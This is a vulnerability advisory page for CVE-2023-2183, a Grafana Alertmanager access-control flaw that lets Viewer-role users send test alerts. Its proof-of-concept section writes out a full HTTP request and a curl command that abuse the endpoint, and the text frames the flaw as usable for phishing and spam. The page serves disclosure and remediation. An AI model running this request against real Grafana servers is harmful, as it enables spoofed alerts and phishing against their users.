GHSA-cvm3-pp2j-chr3 BIT-grafana-2023-2183 CVE-2023-2183
Grafana has Broken Access Control in Alert manager: Viewer can send test alerts
- Severity
- 4.1 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 1.03%
- Chance of exploitation in the next 30 days. Higher than 63.65% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-284 Improper Access Control
- Fix
8.5.26- Upgrade github.com/grafana/grafana to this version or later
Description
Summary
Grafana allows an attacker in the Viewer role, send alerts by API Alert - Test. The option is not available from the user panel UI for in the Viewer role.
Reason for the error: The API does not check access to this function and allows it by users with the least rights, for example, the Viewer that does not see this option in the user panel.
This enables malicious users to abuse the functionality by sending multiple alert messages (e-mail, slack, etc…), spamming users, prepare Phishing attack or blocked SMTP server / IP and automatically moved all message to spam folder, add to black list IP.
Details
The logged-in user, in the Viewer role, in the user panel, does not have access to the test option of sending an e-mail alert.
View of the panel for the user in the Viewer role: image
Admin role - View panel for admin role: image
Admin role - Next step – editing: image
Admin role - Additional options: image
PoC
HTTP Request by user in role Viewer
POST /api/alertmanager/grafana/config/api/v1/receivers/test HTTP/1.1
Host: xxx
Cookie: grafana_session=xxx
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://xxx/alerting/notifications/receivers/grafana-default-email/edit?alertmanager=grafana
accept: application/json, text/plain, */*
content-type: application/json
…
{"receivers":[{"name":"test","grafana_managed_receiver_configs":[{"settings":{"addresses":"<test@example.com>",
"singleEmail":true},"secureSettings":{},"type":"email","name":"test","disableResolveMessage":false}]}],
"alert":{"annotations":{"runbook_url":"http://example.com ","description":"tekst","testowy":"test http://example.com",
"more":"http://example.com "},"labels":{}}}
HTTP Response:
HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: application/json
Expires: -1
Pragma: no-cache
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-Xss-Protection: 1; mode=block
Date: Wed, 05 Apr 2023 10:43:00 GMT
Content-Length: 471
{"alert":{"annotations":{"__value_string__":"[ metric='foo' labels={instance=bar} value=10 ]","description":"tekst",
"more":"http://example.com","runbook_url":"http://example.com","summary":"Notification test",
"testowy":"testowy http://example.com"},"labels":{"alertname":"TestAlert","instance":"Grafana"}},
"receivers":[{"name":"test","grafana_managed_receiver_configs":[{"name":"test","uid":"ojUhNFL4k","status":"ok"}]}],
"notified_at":"2023-04-05T12:43:00.1430203+02:00"}
Result:
The attacker can send as a template alert or plain/text.
Impact
As I showed above, an enabled user in the lowest role can execute an endpoint API that allows him to send an e-mail as an alert and impersonate its content. If modified accordingly, the recipient may fall victim to a Phishing attack or a targeted attack to block the SMTP server.
From a practical point of view, this means that for each "GrafanaReceiver" e.g.: Slack, E-mail, etc.. You can send any alert message from user with the least privileged.
CURL example – using a user session in the Viewer role:
curl -i -s -k -X $'POST' \
-H $'Host: localhost:3002' -H $'Content-Length: 386' -H $'sec-ch-ua: \"Not:A-Brand\";v=\"99\", \"Chromium\";v=\"112\"' -H $'accept: application/json, text/plain, */*' -H $'content-type: application/json' -H $'x-grafana-org-id: 1' -H $'sec-ch-ua-mobile: ?0' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/527.36 (KHTML, like Gecko) Chrome/112.0.2615.50 Safari/11.36' -H $'sec-ch-ua-platform: \"macOS\"' -H $'Origin: http://localhost:3002' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Dest: empty' -H $'Referer: http://localhost:3002/' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8' -H $'Connection: close' \
-b $'grafana_session=xxx' \
--data-binary $'{\"receivers\":[{\"name\":\"test\",\"grafana_managed_receiver_configs\":[{\"settings\":{\"addresses\":\"<test@example.com>\",\"singleEmail\":true\x0d\x0a},\"secureSettings\":{},\"type\":\"email\",\"name\":\"test\",\"disableResolveMessage\":false}]}],\"alert\":{\"annotations\":{\"runbook_url\":\"http://example.com\",\"description\":\"tekst\",\"testowy\":\"testowy http://example.com\",\x0d\x0a\"more\":\"http://example.com\"\x0d\x0a},\"labels\":{}}}\x0d\x0a' \
$'http://localhost:3002/api/alertmanager/grafana/config/api/v1/receivers/test'
Mitigation
- In the SMTP server configuration settings, limit the ability to send multiple e-mails to the same e-mail address per unit of time / threshold.
- Check the API for the possibility of accessing this endpoint for other roles than admin
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/grafana/grafana | < 8.5.26 |
8.5.26 |
| github.com/grafana/grafana | >= 9.0.0, < 9.2.19 |
9.2.19 |
| github.com/grafana/grafana | >= 9.3.0, < 9.3.15 |
9.3.15 |
| github.com/grafana/grafana | >= 9.4.0, < 9.4.12 |
9.4.12 |
| github.com/grafana/grafana | >= 9.5.0, < 9.5.3 |
9.5.3 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/grafana/grafana Go → 8.5.26
- go
go get github.com/grafana/grafana@v8.5.26 && go mod tidy
Severity breakdown
CVSS 3.1 4.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- Required
- Scope
- Changed
- Confidentiality
- Low
- Integrity
- None
- Availability
- None
Weakness
CWE-284: Improper Access Control
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
How to prevent it
- Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
- Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-8pjx-jj86-j47p Grafana path traversal | High Known exploited | Also affects github.com/grafana/grafana |
| CVE-2021-39226 Authentication bypass for viewing and deletions of snapshots | High Known exploited | Also affects github.com/grafana/grafana |
| GHSA-3w66-95m3-8jxg Grafana: Pre-authentication denial of service in the public dashboard query handler | High | Also affects github.com/grafana/grafana |
| GHSA-9g84-39mm-q4p3 Grafana geomap panel's XYZ tile layer has a sanitize-then-interpolate ordering bug | Medium | Also affects github.com/grafana/grafana |
| GHSA-f74p-cwhp-x2wx Grafana Loki datasource plugin's callResource handler contains a path traversal vulnerability. | High | Also affects github.com/grafana/grafana |
| GHSA-9493-h4f5-633x Grafana: Path traversal in the Tempo and Loki data source plugins | Medium | Also affects github.com/grafana/grafana |
| GHSA-wfhv-mj62-f5xh Grafana: Users can generate Service Account tokens after permissions removal | High | Also affects github.com/grafana/grafana |
| GHSA-gxcp-jjxh-rwp4 Grafana: SQL Expressions Read File From Disk | Medium | Also affects github.com/grafana/grafana |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor